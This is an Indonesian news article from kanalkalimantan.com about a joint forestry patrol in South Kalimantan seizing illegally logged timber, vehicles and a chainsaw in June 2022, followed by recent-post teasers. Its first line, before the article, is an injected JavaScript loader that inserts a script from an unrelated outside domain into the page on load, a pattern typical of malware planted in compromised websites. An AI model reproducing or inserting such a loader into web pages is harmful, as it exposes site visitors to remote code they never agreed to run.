(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Dishut Prov Kalsel

Dishut Kalsel Kembali Amankan Kayu Ilegal Beserta Alat Angkutnya


KANALKALIMANTAN.COM, BANJARBARU – Tim gabungan pengamanan hutan Dinas Kehutanan, Tahura SA dan KPH Tanah Laut berhasil menemukan kegiatan pengangkutan kayu hasil illegal logging di dua kawasan yang berbeda, Sabtu (18/6/2022).

Adapun praktek illegal logging ini awalnya didapati di wilayah RPH Tanjung, dimana petugas mengamankan sedikitnya 90 batang kayu jenis Rimba Campuran. Pun termasuk pula 3 buah kendaraan roda dua jenis rakitan.

Tak jauh dari kawasan, petugas juga kembali mengamankan sekitar 40 potong kayu berbentuk papan dengan jenis Rimba Campuran panjang 4 meter, tepatnya di Dusun Riam Pinang Desa Tanjung Kecamatan Bajuin, Kabupaten Tanah Laut.

Kayu yang diamankan tersebut didapati setelah tim melakukan kegiatan penelusuran pukul 21.00 Wita pada kawasan rehab DAS. Kawasan ini diduga menjadi jalur akses keluar masuknya hasil ilegal logging di wilayah hutan Tahura SA khususnya di kawasan Dusun Riam Pinang.

 

Baca juga  : Total 5 Pelaku Pengeroyokan di Cafe Asoka Banjarbaru Tertangkap, Haris Masih DPO

Tim melihat kegiatan secara langsung pengangkutan hasil kegiatan illegal logging. Selain mengamankan kayu, tim juga mengamankan barang bukti lainnya berupa satu buah kendaraan roda empat jenis pick up, dua buah kendaraan roda dua rakitan yang dimodifikasi khusus untuk mengangkut kayu, satu buah chain saw, serta dua buah parang.

Di tempat berbeda, tim pengamanan hutan KPH Balangan juga berhasil mengamankan 25 potong kayu jenis Rimba Campuran dengan berbagai ukuran di sekitar kawasan hutan di wilayah Kecamatan Halong Kabupaten Balangan. Kayu tanpa kepemilikan yang diamankan tersebut ditemukan pada titik koordinat X : -2.33718 Y : 115.73189 dan setelah dilakukan overlay dengan peta kawasan hutan, ternyata titik tersebut masuk dalam kawasan Hutan Produksi.

Kadishut Kalsel, Fathimatuzzahra mengatakan pihaknya berjanji akan terus meningkatkan kegiatan partoli dan pengawasan seiring seringnya ditemukan tindak kegiatan illegal logging dalam satu minggu terakhir ini dari berbagai wilayah di Kalimantan Selatan. “Kami akan berusaha untuk terus meningkatkan kegiatan partoli dan pengawasan hutan di Kalsel guna mengurangi tindak kegiatan illegal logging dan kerusakan hutan,”ucapnya.

Saat ini semua barang bukti hasil kegiatan patroli pengamanan hutan beserta tersangka sudah diamankan ke kantor Polhut Dinas Kehutanan yang berada di Gang Petai Banjarbaru untuk dilakukan pemeriksaan dan penyidikan.(kanalkalimantan.com/al)

Reporter : al
Editor : kk


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.